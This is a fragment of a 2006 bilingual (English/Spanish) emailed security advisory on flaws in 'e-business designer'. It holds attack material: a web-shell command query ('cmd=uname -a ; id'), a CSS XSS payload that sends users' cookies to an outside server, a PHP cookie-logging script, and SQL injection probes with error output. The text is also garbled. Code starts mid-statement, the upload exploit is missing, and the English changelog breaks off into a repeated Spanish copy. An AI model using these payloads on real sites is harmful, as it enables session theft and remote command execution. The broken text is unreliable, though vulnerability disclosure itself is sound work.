|
|
------=_Part_16839_12721304.1147383657176
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64
Content-Disposition: inline
UmVnYXJkcwo------=_Part_16839_12721304.1147383657176
Content-Type: text/plain; name=eBD-en.txt; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: quoted-printable
X-Attachment-Id: f_en22xdgm
Content-Disposition: attachment; filename="eBD-en.txt"
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
============================== - Advisory -
==============================
Tittle: Several flaws in e-business designer
Risk: Critical
Date: 03.May.2006
Author: Pedro And=FAjar
$out
";
=09 ?>
=09----------------dsr.php-----------------
Then, queries like "http://edbsite/path/to/dsr.php&cmd=uname -a ; id" can be executed.
Client side exploiting:
+ Cross Site Scripting (XSS), in applications with authentication methods: Uploaded files with
"image_browser.upload.html" can overwrite application files, so it will be possible to include a
javascript code in a cascade style sheet (.css), which will send us the cookie of users who have
logged, through a get request to our server:
background: url('javascript:document.images[1].src="http://514.es/514.php?"+document.cookie;') repeat-x bottom;
We can place a script in our server to log cookies we receive, even this job is already
done by the access_log.
XXX.XXX.XXX.XXX - - [25/Apr/2006:11:04:22 +0200] "GET /514.php?SESSION_ID=133844640fde6ef7bd6a7a9e1c5c4651
HTTP/1.1" 200 316 "http://ebdsite/?go=M8z23wqOtZxBnlKqIOyVzEdlo87WFfqH8prlq33Nju/nsQ==" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
=09
=09 Possible script:
=09 -----------------514.php------------------
=09 $srv) {
=09 file_put_contents($log, "$key=$srv\n", FILE_APPEND);
=09 }
=09 if (isset ($_GET) && count($_GET) > 0) {
=09 file_put_contents($log, "GET params\n", FILE_APPEND);
=09 foreach ($_GET as $key => $srv) {
=09 file_put_contents($log, "$key=$srv\n", FILE_APPEND);
=09 }
=09 }
=09 if (isset ($_POST) && count($_POST) > 0) {
=09 file_put_contents($log, "POST params\n", FILE_APPEND);
=09 foreach ($_POST as $key => $srv) {
=09 file_put_contents($log, "$key=$srv\n", FILE_APPEND);
=09 }
=09 }
=09 file_put_contents($log, "\n", FILE_APPEND);
=09 if ($img_type == "png") {
=09 Header("Content-type: image/png");
=09 ImagePNG(load_png("imgs/514.png"));
=09 }
=09 if ($img_type == "jpg") {
=09 Header("Content-type: image/jpeg");
=09 ImageJPEG(load_jpg("imgs/514.jpg"));
=09 }
=09 if ($img_type == "gif") {
=09 Header("Content-type: image/gif");
=09 ImageGIF(load_gif("imgs/514.gif"));
=09 }
=09 ?>
=09 -----------------514.php------------------
Adicionally was checked that there is no max concurrent sessions number for each user.
This make easier this kind of attacks, because the cookies obtained by this way can be used
as the same time that the legitimate user.
.: [ BUG #2 ]
Risk : High
Description : Imput validation error
Affected Versions : v2.3.3 without auth
v3.1.4 require admin access
In some parameters that are parsed by eBD, inclusion of special characters is not checked, so
XSS or code injection attacks are possible.
http://ebdsite/admin/form_grupo.html?id=
This query will give us an "alert" msg, and the server will response with a SQL message, including the path
of the application:
ERROR en: SELECT * FROM Contenido C WHERE C.idContenido=' AND 1=1 AND ( idArea IS NULL OR idArea=3 )
-- You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version
for the right syntax to use near '' AND 1=1 AND ( idArea IS NULL OR idArea=3 )' at line 1 at
/usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm line 179. Stack: [/usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm:179],
[/usr/eBD/ebd_modules/eBD/DB/DBDriver.pm:377], [/usr/eBD/ebd_modules/eBD.pm:772],
[/usr/eBD/ebd_modules/eBD/Contenido.pm:453], [/usr/eBD/htdocs/transhotel/archivos/dhandler:28],
[/usr/eBD/htdocs/ebdsite/archivos/autohandler:3]
Same error on version 2.3.3 of eBD with the following path requests :
=09* http://ebdsite/archivos/' or
=09* http://ebdsite/files/'
.: [ BUG #3 ]
Risk : Medium
Description : Clear password on auth
Affected Versions : <= v3.1.4
In the authentication step, through http (by default) instead of https, username and password
fields are in plain text during posting:
zona=inicial&username=DSR&password=514&entrar=Login
.: [ CHANGELOG ] :.
* 24/Apr/2006: - Several flaws discovered, during the evaluation of the software installed
by a e-business designer customer.
* 25/Apr/2006: - Explotation of these discovered flaws.
- Asked for security contact at eBD.
* 26/Apr/2006: - Rough draft of this document finished.
- Advisory sent to $out
";
?>
- - - ----------------dsr.php-----------------
Posteriormente se podr=E1n ejecutar comandos tal que http://edbsite/path/to/dsr.php&cmd=uname -a ; id
Client side exploiting:
+Ataques de Cross Site Scripting (XSS), en aplicaciones con autenticaci=F3n: Puesto que los ficheros subidos mediante
"image_browser.upload.html", puedes sobreescribir ficheros l=E9gitimos de la aplicaci=F3n, ser=EDa posible introducir en un
archivo de estilos (.css) un javascript, que nos enviar=E1 las cookies de los usuarios que inicien sesi=F3n, mediante una
petici=F3n get al nuestro servidor:
background: url('javascript:document.images[1].src="http://514.es/514.php?"+document.cookie;') repeat-x bottom;
En nuestro server podemos colocar un script para loggear las cookies que recibamos, aunque ya aparecen de igual forma
grabadas en el access_log.
XXX.XXX.XXX.XXX - - [25/Apr/2006:11:04:22 +0200] "GET /514.php?SESSION_ID=133844640fde6ef7bd6a7a9e1c5c4651
HTTP/1.1" 200 316 "http://ebdsite/?go=M8z23wqOtZxBnlKqIOyVzEdlo87WFfqH8prlq33Nju/nsQ==" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
Este script podr=EDa ser:
- - - -----------------514.php------------------
$srv) {
file_put_contents($log, "$key=$srv\n", FILE_APPEND);
}
if (isset ($_GET) && count($_GET) > 0) {
file_put_contents($log, "GET params\n", FILE_APPEND);
foreach ($_GET as $key => $srv) {
file_put_contents($log, "$key=$srv\n", FILE_APPEND);
}
}
if (isset ($_POST) && count($_POST) > 0) {
file_put_contents($log, "POST params\n", FILE_APPEND);
foreach ($_POST as $key => $srv) {
file_put_contents($log, "$key=$srv\n", FILE_APPEND);
}
}
file_put_contents($log, "\n", FILE_APPEND);
if ($img_type == "png") {
Header("Content-type: image/png");
ImagePNG(load_png("imgs/514.png"));
}
if ($img_type == "jpg") {
Header("Content-type: image/jpeg");
ImageJPEG(load_jpg("imgs/514.jpg"));
}
if ($img_type == "gif") {
Header("Content-type: image/gif");
ImageGIF(load_gif("imgs/514.gif"));
}
?>
- - - -----------------514.php------------------
Adicionalmente, se ha comprobado que no existe un n=FAmero m=E1ximo de sesiones concurrentes para cada usuario.
Esta caracter=EDstica facilita este tipo de ataques, ya que las cookies obtenidas de esa forma pueden ser utilizadas
a la vez que el usuario leg=EDtimo.
.: [ DEFECTO #2 ]
Gravedad: Alta
T=EDtulo: Error en la validaci=F3n de datos de entrada
Afecta: v2.3.3 no requiere usuario
v3.1.4 requiere autenticarse como administrador
En varios par=E1metros que parsea eBD, no se verifica la inclusi=F3n de caracteres especiales y por tanto son posibles los
ataques de injecci=F3n de c=F3digo o cross site scripting. Ej:
http://ebdsite/admin/form_grupo.html?id=
Esta URL ejecutar=E1 el alert y adem=E1s el servidor nos devolver=E1 la cadena SQL y el path f=EDsico de la aplicaci=F3n tal que:
ERROR en: SELECT * FROM Contenido C WHERE C.idContenido=' AND 1=1 AND ( idArea IS NULL OR idArea=3 ) -- You have an error
in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND
1=1 AND ( idArea IS NULL OR idArea=3 )' at line 1 at /usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm line 179. Stack:
[/usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm:179], [/usr/eBD/ebd_modules/eBD/DB/DBDriver.pm:377], [/usr/eBD/ebd_modules/eBD.pm:772],
[/usr/eBD/ebd_modules/eBD/Contenido.pm:453], [/usr/eBD/htdocs/transhotel/archivos/dhandler:28], [/usr/eBD/htdocs/ebdsite/archivos/
autohandler:3]
Lo mismo ocurre en la versi=F3n 2.3.3 de eBD al hacer peticiones al siguiente path:
* http://ebdsite/archivos/' o bien
* http://ebdsite/files/'
.: [ DEFECTO #3 ]
Gravedad: Media
T=EDtulo: Ausencia de cifrado en proceso de autenticaci=F3n
Afecta: <= v3.1.4
En el momento de la autenticaci=F3n, que por defecto se produce v=EDa http en lugar de https, los campos de usuario
y contrase=F1a viajan por la red en texto claro, sin ning=FAn tipo de ecodeado:
zona=inicial&username=DSR&password=514&entrar=Login
.: [ HISTORICO ] :.
* 24/Abr/2006: - Descubiertos varios fallos, durante la evaluaci=F3n del software instalado en un cliente de
e-business designer.
* 25/Abr/2006: - Explotaci=F3n de los fallos descubiertos anteriormente.
- Localizaci=F3n del contacto de seguridad de eBD.
* 26/Abr/2006: - Redactado borrador de este documento.
- Envio del advisory a